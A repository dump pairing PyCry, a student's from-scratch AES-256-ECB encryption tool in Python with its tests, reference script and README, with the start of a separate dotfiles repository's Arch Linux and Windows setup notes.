0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, \n 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, \n 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, \n 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, \n 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, \n 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, \n 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, \n 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, \n 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d]\n\n return rcon_table[i]\n\ndef _four_byte_xor(key, new_bytes, num_bytes_ago):\n start_index = (len(key) - num_bytes_ago)\n end_index = start_index + 4\n other_bytes = key[start_index:end_index]\n return bytearray(a ^ b for a, b in zip(new_bytes, other_bytes))\n\ndef _round_key(full_key, round):\n # Each round key is 16 bytes long\n round_key_length = 16\n start_index = round * round_key_length\n end_index = start_index + round_key_length\n # Returns the 16-byte key for a given round number\n return full_key[start_index:end_index]\n\ndef inverse_row_transposition(block):\n # The inverse of the Row Transposition Step\n # Learnt from https://en.wikipedia.org/wiki/Advanced_Encryption_Standard#/media/File:AES-ShiftRows.svg\n\n # Split the block into 4 rows of 4 bytes\n rows = [bytearray(), bytearray(), bytearray(), bytearray()]\n for i in range(len(block)):\n row_index = i % 4\n rows[row_index].append(block[i])\n\n # Shift bytes around within each row\n for row_index in range(len(rows)):\n row = rows[row_index]\n for _ in range(row_index):\n row.insert(0, row.pop())\n\n # De-row-ify the bytes, returning them to a standard 16 byte block\n output = bytearray([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0])\n row_index = 0\n while row_index < len(rows):\n row = rows[row_index]\n byte_index = 0\n while byte_index < len(row): \n byte = row[byte_index] \n output[4 * byte_index + row_index] = byte\n byte_index = byte_index + 1\n row_index = row_index + 1\n\n return output\n\ndef row_transposition(block):\n # The Row Transposition Step\n # Learnt from https://en.wikipedia.org/wiki/Advanced_Encryption_Standard#/media/File:AES-ShiftRows.svg\n \n # Split the block into 4 rows of 4 bytes\n rows = [bytearray(), bytearray(), bytearray(), bytearray()]\n for i in range(len(block)):\n row_index = i % 4\n rows[row_index].append(block[i])\n \n # Shift bytes around within each row\n for row_index in range(len(rows)):\n row = rows[row_index]\n for _ in range(row_index):\n row.append(row.pop(0))\n\n # De-row-ify the bytes, returning them to a standard 16 byte block\n output = bytearray([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0])\n row_index = 0\n while row_index < len(rows):\n row = rows[row_index]\n byte_index = 0\n while byte_index < len(row): \n byte = row[byte_index] \n output[4 * byte_index + row_index] = byte\n byte_index = byte_index + 1\n row_index = row_index + 1\n\n return output\n\ndef mix_columns(block):\n # The Mix Columns Step\n columns = []\n while len(block) > 0:\n columns.append(block[0:4])\n \n for _ in range(4):\n block.pop(0)\n \n return bytearray([byte for column in map(mix_single_column, columns) for byte in column])\n\ndef inverse_mix_columns(block):\n # The inverse of the Mix Columns Step\n columns = []\n while len(block) > 0:\n columns.append(block[0:4])\n \n for _ in range(4):\n block.pop(0)\n \n return bytearray([byte for column in map(inverse_mix_single_column, columns) for byte in column])\n\ndef inverse_mix_single_column(column):\n # Learnt from http://www.samiam.org/mix-column.html\n if (len(column) != 4):\n raise ValueError(\"Column provided to `inverse_mix_single_column` must be 4 bytes. Provided column was \" + str(len(column)) + \" bytes.\")\n\n column = [int(byte) for byte in column]\n output = [None, None, None, None]\n a = [None, None, None, None]\n\n for c in range(4):\n a[c] = column[c]\n \n output[0] = gmul(a[0],14) ^ gmul(a[3],9) ^ gmul(a[2],13) ^ gmul(a[1],11)\n output[1] = gmul(a[1],14) ^ gmul(a[0],9) ^ gmul(a[3],13) ^ gmul(a[2],11)\n output[2] = gmul(a[2],14) ^ gmul(a[1],9) ^ gmul(a[0],13) ^ gmul(a[3],11)\n output[3] = gmul(a[3],14) ^ gmul(a[2],9) ^ gmul(a[1],13) ^ gmul(a[0],11)\n\n return [(value % 256) for value in output]\n\n\ndef mix_single_column(column):\n # Learnt from http://www.samiam.org/mix-column.html\n if (len(column) != 4):\n raise ValueError(\"Column provided to `mix_single_column` must be 4 bytes. Provided column was \" + str(len(column)) + \" bytes.\")\n\n column = [int(byte) for byte in column]\n output = [None, None, None, None]\n a = [None, None, None, None]\n\n for c in range(4):\n a[c] = column[c]\n \n output[0] = gmul(a[0],2) ^ gmul(a[3],1) ^ gmul(a[2],1) ^ gmul(a[1],3)\n output[1] = gmul(a[1],2) ^ gmul(a[0],1) ^ gmul(a[3],1) ^ gmul(a[2],3)\n output[2] = gmul(a[2],2) ^ gmul(a[1],1) ^ gmul(a[0],1) ^ gmul(a[3],3)\n output[3] = gmul(a[3],2) ^ gmul(a[2],1) ^ gmul(a[1],1) ^ gmul(a[0],3)\n\n return [(value % 256) for value in output]\n\ndef gmul(a, b):\n # Learnt from http://www.samiam.org/galois.html\n p = 0\n h = None\n for c in range(8):\n if b & 1:\n p ^= a\n h = a & 0x80\n a <<= 1\n if h == 0x80:\n a ^= 0x1b\n b >>= 1\n return p" }, { "alpha_fraction": 0.43193894624710083, "alphanum_fraction": 0.645183265209198, "avg_line_length": 70.25242614746094, "blob_id": "1907c03edb287373b78f32f19ce42f7c35ee59d0", "content_id": "f9cd1fa6fdbc9dd2a2c5597417b44f155273fdb3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7339, "license_type": "no_license", "max_line_length": 835, "num_lines": 103, "path": "/pycry_aes_test.py", "repo_name": "ltk/PyCry", "src_encoding": "UTF-8", "text": "import unittest\n\nfrom pycry_aes import decrypt, encrypt, expand_key, inverse_mix_single_column, inverse_row_transposition, inverse_s_box, key_schedule_core, mix_single_column, row_transposition, s_box\n\nclass TestSimpleAES(unittest.TestCase):\n def setUp(self):\n self.maxDiff = None\n\n def test_decrypt(self):\n # Test vectors generated from my own Ruby script that performs encryption using OpenSSL (AES 256 - ECB mode)\n test_vectors = [\n (\"1234561234561234561234561234561212345612345612345612345612345612\", \"hey\", \"3051fababce44080cd02d9d4f8999f96\"),\n (\"0000000000000000000000000000000000000000000000000000000000000000\", \"0\", \"41fba101d9c03aab56553372b31300b3\"),\n ]\n\n for (key, plaintext, ciphertext) in test_vectors:\n decrypted_string = str(decrypt(bytearray.fromhex(ciphertext), bytearray.fromhex(key)), encoding=\"utf-8\")\n self.assertEqual(decrypted_string, plaintext)\n\n def test_encrypt(self):\n # Test vectors generated from my own Ruby script that performs encryption using OpenSSL (AES 256 - ECB mode)\n test_vectors = [\n (\"1234561234561234561234561234561212345612345612345612345612345612\", \"hey\", \"3051fababce44080cd02d9d4f8999f96\"),\n (\"0000000000000000000000000000000000000000000000000000000000000000\", \"0\", \"41fba101d9c03aab56553372b31300b3\"),\n ]\n\n for (key, plaintext, ciphertext) in test_vectors:\n encrypted_bytes = encrypt(bytearray(plaintext, encoding=\"utf-8\"), bytearray.fromhex(key))\n known_ciphertext_bytes = bytearray.fromhex(ciphertext)\n self.assertEqual(encrypted_bytes, known_ciphertext_bytes)\n\n def test_sbox_inversability(self):\n b = 0xc1\n self.assertEqual(inverse_s_box(s_box(b)), b)\n\n def test_row_transposition_inversability(self):\n b = bytearray([1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16])\n self.assertEqual(inverse_row_transposition(row_transposition(b)), b)\n\n def test_expand_key_length(self):\n key = bytearray.fromhex(\"00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\")\n self.assertEqual(len(expand_key(key)), 240)\n\n def test_key_schedule_core(self):\n self.assertRaises(ValueError, key_schedule_core, b\"000\", 1)\n self.assertRaises(ValueError, key_schedule_core, b\"00000\", 1)\n self.assertEqual(key_schedule_core(bytearray(b\"0000\"), 1), bytearray(b'\\x05\\x04\\x04\\x04'))\n self.assertEqual(key_schedule_core(bytearray(b\"0000\"), 2), bytearray(b'\\x06\\x04\\x04\\x04'))\n self.assertEqual(key_schedule_core(bytearray(b\"0000\"), 3), bytearray(b'\\x00\\x04\\x04\\x04'))\n self.assertEqual(key_schedule_core(bytearray(b\"0000\"), 4), bytearray(b'\\x0c\\x04\\x04\\x04'))\n self.assertEqual(key_schedule_core(bytearray(b\"fedc\"), 1), bytearray(b'LC\\xfb3'))\n self.assertEqual(key_schedule_core(bytearray(b\"fedc\"), 2), bytearray(b'OC\\xfb3'))\n self.assertEqual(key_schedule_core(bytearray(b\"fedc\"), 3), bytearray(b'IC\\xfb3'))\n self.assertEqual(key_schedule_core(bytearray(b\"fedc\"), 4), bytearray(b'EC\\xfb3'))\n\n def test_expand_key(self):\n # Test vectors from http://www.samiam.org/key-schedule.html\n test_vectors = [\n (\"00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\", \"00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 62 63 63 63 62 63 63 63 62 63 63 63 62 63 63 63 aa fb fb fb aa fb fb fb aa fb fb fb aa fb fb fb 6f 6c 6c cf 0d 0f 0f ac 6f 6c 6c cf 0d 0f 0f ac 7d 8d 8d 6a d7 76 76 91 7d 8d 8d 6a d7 76 76 91 53 54 ed c1 5e 5b e2 6d 31 37 8e a2 3c 38 81 0e 96 8a 81 c1 41 fc f7 50 3c 71 7a 3a eb 07 0c ab 9e aa 8f 28 c0 f1 6d 45 f1 c6 e3 e7 cd fe 62 e9 2b 31 2b df 6a cd dc 8f 56 bc a6 b5 bd bb aa 1e 64 06 fd 52 a4 f7 90 17 55 31 73 f0 98 cf 11 19 6d bb a9 0b 07 76 75 84 51 ca d3 31 ec 71 79 2f e7 b0 e8 9c 43 47 78 8b 16 76 0b 7b 8e b9 1a 62 74 ed 0b a1 73 9b 7e 25 22 51 ad 14 ce 20 d4 3b 10 f8 0a 17 53 bf 72 9c 45 c9 79 e7 cb 70 63 85\"),\n (\"ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff\", \"ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff e8 e9 e9 e9 17 16 16 16 e8 e9 e9 e9 17 16 16 16 0f b8 b8 b8 f0 47 47 47 0f b8 b8 b8 f0 47 47 47 4a 49 49 65 5d 5f 5f 73 b5 b6 b6 9a a2 a0 a0 8c 35 58 58 dc c5 1f 1f 9b ca a7 a7 23 3a e0 e0 64 af a8 0a e5 f2 f7 55 96 47 41 e3 0c e5 e1 43 80 ec a0 42 11 29 bf 5d 8a e3 18 fa a9 d9 f8 1a cd e6 0a b7 d0 14 fd e2 46 53 bc 01 4a b6 5d 42 ca a2 ec 6e 65 8b 53 33 ef 68 4b c9 46 b1 b3 d3 8b 9b 6c 8a 18 8f 91 68 5e dc 2d 69 14 6a 70 2b de a0 bd 9f 78 2b ee ac 97 43 a5 65 d1 f2 16 b6 5a fc 22 34 91 73 b3 5c cf af 9e 35 db c5 ee 1e 05 06 95 ed 13 2d 7b 41 84 6e de 24 55 9c c8 92 0f 54 6d 42 4f 27 de 1e 80 88 40 2b 5b 4d ae 35 5e\"),\n (\"00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f\", \"00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f a5 73 c2 9f a1 76 c4 98 a9 7f ce 93 a5 72 c0 9c 16 51 a8 cd 02 44 be da 1a 5d a4 c1 06 40 ba de ae 87 df f0 0f f1 1b 68 a6 8e d5 fb 03 fc 15 67 6d e1 f1 48 6f a5 4f 92 75 f8 eb 53 73 b8 51 8d c6 56 82 7f c9 a7 99 17 6f 29 4c ec 6c d5 59 8b 3d e2 3a 75 52 47 75 e7 27 bf 9e b4 54 07 cf 39 0b dc 90 5f c2 7b 09 48 ad 52 45 a4 c1 87 1c 2f 45 f5 a6 60 17 b2 d3 87 30 0d 4d 33 64 0a 82 0a 7c cf f7 1c be b4 fe 54 13 e6 bb f0 d2 61 a7 df f0 1a fa fe e7 a8 29 79 d7 a5 64 4a b3 af e6 40 25 41 fe 71 9b f5 00 25 88 13 bb d5 5a 72 1c 0a 4e 5a 66 99 a9 f2 4f e0 7e 57 2b aa cd f8 cd ea 24 fc 79 cc bf 09 79 e9 37 1a c2 3c 6d 68 de 36\")\n ]\n\n for (key, expansion) in test_vectors:\n self.assertEqual(expand_key(bytearray.fromhex(key)), bytearray.fromhex(expansion))\n\n def test_inverse_mix_single_column(self):\n self.assertRaises(ValueError, inverse_mix_single_column, b\"000\")\n self.assertRaises(ValueError, inverse_mix_single_column, b\"00000\")\n\n # Test vectors from http://www.samiam.org/mix-column.html\n test_vectors = [\n (\"db 13 53 45\", \"8e 4d a1 bc\"),\n (\"f2 0a 22 5c\", \"9f dc 58 9d\"),\n (\"01 01 01 01\", \"01 01 01 01\"),\n (\"d4 d4 d4 d5\", \"d5 d5 d7 d6\"),\n (\"2d 26 31 4c\", \"4d 7e bd f8\")\n ]\n\n for (word, mixed) in test_vectors:\n word_ints = [int(byte) for byte in bytearray.fromhex(word)]\n self.assertEqual(inverse_mix_single_column(bytearray.fromhex(mixed)), word_ints)\n\n def test_mix_single_column(self):\n self.assertRaises(ValueError, mix_single_column, b\"000\")\n self.assertRaises(ValueError, mix_single_column, b\"00000\")\n\n # Test vectors from http://www.samiam.org/mix-column.html\n test_vectors = [\n (\"db 13 53 45\", \"8e 4d a1 bc\"),\n (\"f2 0a 22 5c\", \"9f dc 58 9d\"),\n (\"01 01 01 01\", \"01 01 01 01\"),\n (\"d4 d4 d4 d5\", \"d5 d5 d7 d6\"),\n (\"2d 26 31 4c\", \"4d 7e bd f8\")\n ]\n\n\n for (word, mixed) in test_vectors:\n mixed_ints = [int(byte) for byte in bytearray.fromhex(mixed)]\n self.assertEqual(mix_single_column(bytearray.fromhex(word)), mixed_ints)\n\nif __name__ == '__main__':\n unittest.main()\n" }, { "alpha_fraction": 0.7135593295097351, "alphanum_fraction": 0.7203390002250671, "avg_line_length": 25.81818199157715, "blob_id": "4a291da163c7af4d592cd27757892170ef6e9572", "content_id": "ad333fb2bc26aa503cfcde658fc16db85a56c5d8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Ruby", "length_bytes": 590, "license_type": "no_license", "max_line_length": 73, "num_lines": 22, "path": "/reference-aes.rb", "repo_name": "ltk/PyCry", "src_encoding": "UTF-8", "text": "# This script allows for the easy production cipher and plain texts using\n# OpenSSL, to serve as a reference to build against.\n# Particularly useful for setting up examples in pycry_aes_test.py.\n\nrequire \"openssl\"\n\nputs(\"Enter plaintext:\")\nplaintext = gets.chomp\n\nputs(\"Enter key:\")\nkey = [gets.chomp].pack(\"H*\")\n\ncipher = OpenSSL::Cipher.new(\"AES-256-ECB\")\ncipher.encrypt\ncipher.key = key\ncipher.padding = 1\nencrypted = cipher.update plaintext\nencrypted += cipher.final\n\nputs (\"Key (hex): #{key}\")\nputs (\"Plaintext: #{plaintext}\")\nputs (\"Encrypted (hex): #{encrypted.unpack('H*').first}\")\n" }, { "alpha_fraction": 0.7712312340736389, "alphanum_fraction": 0.7801706790924072, "avg_line_length": 56.23255920410156, "blob_id": "23407a31d1b00872bf115c0f4c66fa8b1bf941e2", "content_id": "2653eda86df92fef3ac0dd24db0fb9a8fbdf7067", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 4933, "license_type": "no_license", "max_line_length": 301, "num_lines": 86, "path": "/README.md", "repo_name": "ltk/PyCry", "src_encoding": "UTF-8", "text": "# PyCry\nA just-for-fun, please-god-don't-actually-use-this command-line encryption/decryption program using a from-scratch implementation of AES-256-ECB in Python!\n\nAlso known as Lawson Kurtz's final project for CSCI 1300.\n\n## Running the Project\nInstall the following dependencies:\n\n- Python 3 👉 `brew install python`\n- inquirer 👉 `pip install inquirer`\n\nThen, to run the program, `cd` into this directory and run `./pycry`. Follow the command line prompts.\n\n## Main Notes\nThis program is essentially the complete version of the program I proposed. The one exception is that I excluded the automatic removal of plaintext files after the encryption process and encrypted files after the decryption process because it felt annoying after using it a few times.\n\nOne obvious area for improvement is error handling. Right now if an incorrect decryption key is provided, the user is usually shown a string encoding error. Also if a bad parameters are provided to the program (like a non-existant file path), the errors are currently not very informative to the user.\n\n## Other Notes\nUnit tests for pycry_aes.py can be foundin pycry_aes_test.py. I originally had no plans to dive into automated testing for this project, but it ended up being absolutely critical for the development of the not-so-easily understood underlying AES functions.\n\nFor developing the main encrypt/decrypt tests, I wrote a little ruby script (reference-aes.rb) to generate test cases (key, plaintext, ciphertext combinations) directly from OpenSSL.\n\nOne recurring challenge was that many example test cases/ AES calculators that I found online were not actually correct. In a couple cases I could actually replicate the results of data sets I found elsewhere by knowing introducing an error into the encryption process. 😬\n\n## Project Description\nThis program is a text/file encryption tool with a from-scratch implementation of AES-256 ECB encryption and decryption.\n\nThis project is just for me and me alone to satisfy a longstanding curiosity. It’s a bad idea to use self-implemented crypto, so the only goal here is to learn more about how AES works through the from-scratch implementation.\n\n### Scope\nThe PyCry program consists of the following features:\n\n#### Encrypting\n##### Select a File, Directory, or Message\nA command line interface allows the user to enter a secret message to encrypt, or choose a file or directory of files to encrypt.\n\n##### Enter or Generate an Encryption Key\nThe user will enter their own symmetric encryption key, or allow the program to generate a random key which will be temporarily provided to the user for secure storage elsewhere.\n\n##### Prepare Plaintext(s)\nIf a message was selected for encryption, start the encryption process (described below), otherwise, If a file or directory was chosen for encryption, zip the file(s) and proceed to the next step.\n\n##### Key Expansion \nExpand the provided/generated encryption key via the Rijndael key schedule until we have a 240 bytes key.\n\n##### Message Preparation\nSplit plaintext into 128 bit blocks, organized into 4 byte x 4 byte arrays.\n\n##### Initial Key Block XOR\nXOR each byte of the plaintext blocks with a 128 bit block of the expanded key.\n\n##### Substitution and Permutation: (14 Rounds)\n###### Byte Substitution\nSubstitute each individual byte with another from a lookup table (the Rijndael S-box).\n\n###### Row Transposition\nCyclically shift each byte in each 4 byte x 4 byte state block to the left according to the following schedule.\n- 1st row: 0 bytes to the left\n- 2nd row: 1 byte to the left\n- 3rd row: 2 bytes to the left\n- 4th row: 3 bytes to the left\n\n###### Column Mixing\nNot performed on the 14th (last) round.\n\nFor each column of each 4 byte x 4 byte state block, combine all 4 bytes of the column using a [mathematical transformation](https://en.wikipedia.org/wiki/Rijndael_MixColumns) and replace the original 4 bytes with the 4 output bytes.\n\n###### Key Block XOR\nXOR each byte of the state blocks with the next 128 bit block of the expanded key.\n\n##### Output Ciphertext\nWhen the substitution and permutation rounds are complete, output the resulting ciphertext to the user if they provided a message for encryption, or write an encrypted version of the chosen files if a file or directory was chosen for encryption.\n\n#### Decrypting\n##### Select a File, Directory, or Message\nA command line interface will allow the user to enter a secret message to decrypt, or choose a file or directory of files to decrypt.\n\n##### Enter the Encryption Key\nThe user is prompted to enter a key to be used for decryption.\n\n##### Decryption\nThe encryption process described above is reversed to recover the plaintext.\n\n##### Output Plaintext\nWhen the decryption is complete, output the resulting plaintext to the user if they provided a message for encryption, or write a decrypted version of the chosen files if a file or directory was chosen for decryption.\n" }, { "alpha_fraction": 0.6420239210128784, "alphanum_fraction": 0.6476291418075562, "avg_line_length": 38.53293228149414, "blob_id": "d104c6f85d126ccc0bcea066cfd16b7df8c74d8c", "content_id": "9cad37e301495941c767818f2709fcb5ddbb3b1b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6601, "license_type": "no_license", "max_line_length": 190, "num_lines": 167, "path": "/pycry", "repo_name": "ltk/PyCry", "src_encoding": "UTF-8", "text": "#! /usr/bin/env python\n\nimport binascii\nimport inquirer\nimport os\nimport re\nimport secrets\nimport sys\nfrom zipfile import ZipFile\nfrom pycry_aes import decrypt, encrypt\n\ndef main():\n # Don't let anyone try to run this without Python 3\n if sys.version_info[0] < 3:\n raise Exception(\"Please use Python 3.\")\n\n action = inquirer.prompt([\n inquirer.List(\"action\", message=\"Encrypt or Decrypt?\", choices=[\"Encrypt\", \"Decrypt\"], default=\"Encrypt\")\n ])[\"action\"]\n\n if action == \"Encrypt\":\n prompt_for_encryption()\n else:\n prompt_for_decryption()\n\ndef prompt_for_encryption():\n answers = inquirer.prompt([\n inquirer.List(\"target\", message=\"Would you like to encrypt a file or a string message?\", choices=[\"String Message\", \"File\"], default=\"String Message\"),\n inquirer.Password(\"key\", message=\"Enter a 64 char hex key, or leave blank for a random key\", validate=lambda _, k: (not k) or re.match('[0-9a-f]{64}', k))\n ])\n\n key = answers[\"key\"]\n\n # If no key was provided, show the user the generated encryption key\n # so that they can decrypt them later.\n if not key:\n key = secrets.token_hex(32)\n print(\"[!] Your generated key is \" + key + \" . Your data will be unrecoverable without this key, so store it securely. It will be hidden once you continue.\")\n\n # Make sure that the user knows that they need to keep the key safe.\n proceed = False\n while not proceed:\n proceed = inquirer.prompt([\n inquirer.Confirm(\"proceed\", message=\"Have you securely recorded this encryption key?\", default=True)\n ])[\"proceed\"]\n \n # Delete the encryption key from the terminal output.\n for _ in range(3):\n # Move cursor up one line.\n sys.stdout.write(\"\\033[F\")\n # Clear line.\n sys.stdout.write(\"\\033[K\")\n\n # Convert the key to bytes\n key = bytearray.fromhex(key)\n\n if answers[\"target\"] == \"String Message\":\n # If encrypting a string message, prompt for the message\n message = inquirer.prompt([\n inquirer.Password(\"message\", message=\"Enter your message to encrypt\")\n ])[\"message\"]\n encrypt_string_message(message, key)\n else:\n # If encrypting a file/folder, prompt for the path to the file/folder\n path = inquirer.prompt([\n inquirer.Text(\"path\", message=\"Enter the path of the file you want to encrypt\")\n ])[\"path\"]\n encrypt_file(path, key)\n\ndef prompt_for_decryption():\n answers = inquirer.prompt([\n inquirer.List(\"target\", message=\"Would you like to decrypt a file or an encrypted string message?\", choices=[\"Encrypted String Message\", \"File\"], default=\"Encrypted String Message\"),\n inquirer.Password(\"key\", message=\"Enter a 32-byte, hex-encoded key for decryption\", validate=lambda _, k: re.match('[0-9a-f]{64}', k))\n ])\n\n key = bytearray.fromhex(answers[\"key\"])\n\n if answers[\"target\"] == \"Encrypted String Message\":\n # If decrypting an encrypted string message, prompt for the message\n ciphertext = inquirer.prompt([\n inquirer.Password(\"ciphertext\", message=\"Enter the encrypted string message to decrypt\", validate=lambda _, m: re.match('[0-9a-f]+', m))\n ])[\"ciphertext\"]\n decrypt_string_message(ciphertext, key)\n else:\n # If decrypting a file/folder, prompt for the path to the file/folder\n path = inquirer.prompt([\n inquirer.Text(\"path\", message=\"Enter the path of the file you want to decrypt\")\n ])[\"path\"]\n decrypt_file(path, key)\n\ndef encrypt_file(path, key):\n # To encrypt a file or a folder, create a single zipfile containing all\n # the file or all folder's files, then encrypt the single zipfile.\n\n folder_name = \"./encrypted_files/\" + secrets.token_hex(10)\n zip_file_name = os.path.basename(path) + \".zip\"\n encrypted_file_name = os.path.basename(path) + \".enc\"\n \n paths = []\n\n if os.path.isdir(path):\n # If encrypting a folder, find all the filepaths within the folder\n # and add them to the list of filepaths to be included in the zipfile.\n for root, _, files in os.walk(path):\n for filename in files:\n paths.append(os.path.join(root, filename))\n else:\n # If encrypting a file, just add the file's path to the list of filepaths\n # to be included in the zipfile.\n paths.append(path)\n\n # Create a zipfile containing the contents of all our added filepaths\n with ZipFile(zip_file_name, \"w\") as zip_file:\n for file in paths:\n zip_file.write(file)\n\n # Encrypt the zipfile contents\n zip_file = open(zip_file_name, \"rb\")\n plaintext = bytearray(zip_file.read())\n ciphertext = encrypt(plaintext, key)\n\n # Remove the intermediary zipfile\n zip_file.close()\n os.remove(zip_file_name)\n\n # Write out the encrypted zipfile contents to a new file\n encrypted_file = open(encrypted_file_name, \"xb\")\n encrypted_file.write(ciphertext)\n encrypted_file.close()\n # Create a new folder for the file within encrypted_files, and move the file there\n new_path = folder_name + \"/\" + encrypted_file_name\n os.mkdir(folder_name)\n os.rename(encrypted_file_name, new_path)\n\n print(\"Encryption complete! Encrypted file written to:\", new_path)\n\ndef encrypt_string_message(message, key):\n ciphertext = encrypt(bytearray(message, encoding=\"utf-8\"), key)\n print(\"Encryption complete! Ciphertext is:\", str(binascii.hexlify(ciphertext), encoding=\"utf-8\"))\n\ndef decrypt_file(path, key):\n if path[-4:] != \".enc\":\n raise Exception(\"Provided path must be an encrypted archive (a file with a .enc extension).\")\n\n folder_name = \"./decrypted_files/\" + secrets.token_hex(10)\n decrypted_file_name = os.path.basename(path)[0:-4] # Remove the `.enc`\n zip_file_name = decrypted_file_name + \".zip\"\n encrypted_file = open(path, \"rb\")\n ciphertext = bytearray(encrypted_file.read())\n plaintext = decrypt(ciphertext, key)\n zip_file = open(zip_file_name, \"xb\")\n zip_file.write(plaintext)\n zip_file.close()\n\n with ZipFile(zip_file_name, \"r\") as zip:\n zip.extractall(folder_name)\n\n os.remove(zip_file_name)\n encrypted_file.close()\n print(\"Decryption complete! Decrypted files can be found in:\", folder_name)\n\ndef decrypt_string_message(ciphertext, key):\n plaintext = decrypt(bytearray.fromhex(ciphertext), key)\n print(\"Decryption complete! Plaintext is:\", str(plaintext, encoding=\"utf-8\"))\n\nif __name__ == '__main__':\n main()" } ]
5
mawillcockson/dotfiles
https://github.com/mawillcockson/dotfiles
eacf1f605fc7184b9871be6545effe34957d0b32
bcaa223183bf8a7d452f00a474bee6695aaa6242
d1a301d81ebdfc81af77c0888366c1b51b9e78a2
refs/heads/main
2022-08-30T17:00:41.295390
2022-08-17T18:06:39
2022-08-17T18:08:41
201,817,559
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.7171717286109924, "alphanum_fraction": 0.7171717286109924, "avg_line_length": 31, "blob_id": "a990ec16f5870bffc823fa6ee71f286207d05805", "content_id": "cf141caeab7550bc6e9c5216e8251b62da1c9437", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 99, "license_type": "permissive", "max_line_length": 66, "num_lines": 3, "path": "/INSTALL_archlinux.md", "repo_name": "mawillcockson/dotfiles", "src_encoding": "UTF-8", "text": "# Arch Linux pre-requisites\r\n\r\nNone! [Continue with the rest of the setup.](~/README.md#continue)\r\n" }, { "alpha_fraction": 0.7244342565536499, "alphanum_fraction": 0.733962893486023, "avg_line_length": 45.780487060546875, "blob_id": "6ee5667195568bb0a83224965fc14bb02748d6f0", "content_id": "ac9e17587a4bee3473aa1be95aa3c0e5403fd686", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 11754, "license_type": "permissive", "max_line_length": 308, "num_lines": 246, "path": "/INSTALL_windows.md", "repo_name": "mawillcockson/dotfiles", "src_encoding": "UTF-8", "text": "# Windows Setup\r\n\r\nPython can be installed using the Microsoft Store App. The easiest way is to open [PowerShell][] and run the command:\r\n\r\n```powershell\r\npython -c \"print('installed')\"\r\n```\r\n\r\nIf it's installed, it'll print `installed`. If not, it'll open the Microsoft Store App, through which Python can be installed.\r\n\r\nWith Python installed, [continue with the rest of the steps.](./README.md#continue)\r\n\r\n<!--\r\n# Getting the repository\r\n\r\nIn order to get and use the repository we need [`git`][git], [`gpg`][gnupg], and [`python`][python].\r\n\r\nAll three of these can be downloaded and installed using [scoop][], which we will download and install in a following section.\r\n\r\nWe also need a program to help automate downloading and managing all these programs. In this case, we'll use [Windows PowerShell][PowerShell].\r\n\r\nUnless noted, all commands are run in order, in one [PowerShell][] session. Some variables may be set in one section, and then used in later sections, and the later sections may not work if the PowerShell session is closed and reopened.\r\n\r\n## [PowerShell Core][pscore6]\r\n\r\nWhile not strictly necessary, having the latest and greatest [PowerShell Core][pscore6] would be nice. This process does require administrative privaleges, currently, as it install this for all users.\r\n\r\nTo get PowerShell Core, run the following commands from PowerShell:\r\n\r\n```\r\n((iwr -useb https://api.github.com/repos/PowerShell/PowerShell/releases/latest).Content -split \",\" | Select-String -Pattern \"https.*x64.msi\").Line -match \"https.*msi\" | %{ iwr -useb $Matches.0 -outf pwsh_x64.msi }\r\nmsiexec /package pwsh_x64.msi /qB ADD_EXPLORER_CONTEXT_MENU_OPENPOWERSHELL=0 ENABLE_PSREMOTING=0 REGISTER_MANIFEST=1\r\n```\r\n\r\nClick on the dialogue box that pops up, asking for permission to perform the installation. All of the options for the installation should have been set by the command, and so no dialogue boxes should pop up, and once the installation is finished, any windows should close automatically.\r\n\r\nOnce done, the new version of powershell should be available by running the command `pwsh`, however the installation process did not update the current session with information on where to find the new program, [so we'll do that 